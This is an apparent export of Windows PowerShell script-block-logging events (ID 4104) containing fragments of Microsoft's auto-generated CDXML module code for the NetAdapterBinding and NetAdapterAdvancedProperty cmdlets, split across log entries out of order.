Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1840 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0000-f0ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterBindingSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterBinding
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterBindingSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[string[]]
${ComponentID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[string[]]
${DisplayName},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AllBindings},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('ComponentID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ComponentID})
$__cmdletization_queryBuilder.FilterByProperty('ComponentID', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('DisplayName') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DisplayName})
$__cmdletization_queryBuilder.FilterByProperty('DisplayName', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
if ($PSBoundParameters.ContainsKey('AllBindings') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('AllBindings', ${AllBindings})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterBinding.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterBinding' -Alias '*'
function Set-NetAdapterBinding
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterBindingSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[string[]]
${ComponentID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[string[]]
${DisplayName},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AllBindings},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterBindingSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('ComponentID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ComponentID})
$__cmdletization_queryBuilder.FilterByProperty('ComponentID', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('DisplayName') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DisplayName})
$__cmdletization_queryBuilder.FilterByProperty('DisplayName', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
if ($PSBoundParameters.ContainsKey('AllBindings') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('AllBindings', ${AllBindings})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Enabled')) {
[object]$__cmdletization_value = ${Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_query
ScriptBlock ID: 5902cefb-1c57-4cc5-9bf0-cdd82063114b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1839 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0000-f0ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 5):
lder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterAdvancedProperty.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Remove-NetAdapterAdvancedProperty' -Alias '*'
function Reset-NetAdapterAdvancedProperty
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('DispN')]
[ValidateNotNull()]
[string[]]
${DisplayName},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterAdvancedPropertySettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('DisplayName') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DisplayName})
$__cmdletization_queryBuilder.FilterByProperty('DisplayName', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Reset', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterAdvancedProperty.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Reset-NetAdapterAdvancedProperty' -Alias '*'
ScriptBlock ID: 7183a476-0865-4c5c-946f-ca6a370fbe23
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1838 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-9528-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 5):
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DisplayValue'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RegistryValue')) {
[object]$__cmdletization_value = ${RegistryValue}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryValue'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryValue'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterAdvancedProperty.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterAdvancedProperty' -Alias '*'
function Remove-NetAdapterAdvancedProperty
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterAdvancedPropertySettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('RegKey')]
[ValidateNotNull()]
[string[]]
${RegistryKeyword},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AllProperties},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterAdvancedPropertySettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('RegistryKeyword') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RegistryKeyword})
$__cmdletization_queryBuilder.FilterByProperty('RegistryKeyword', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
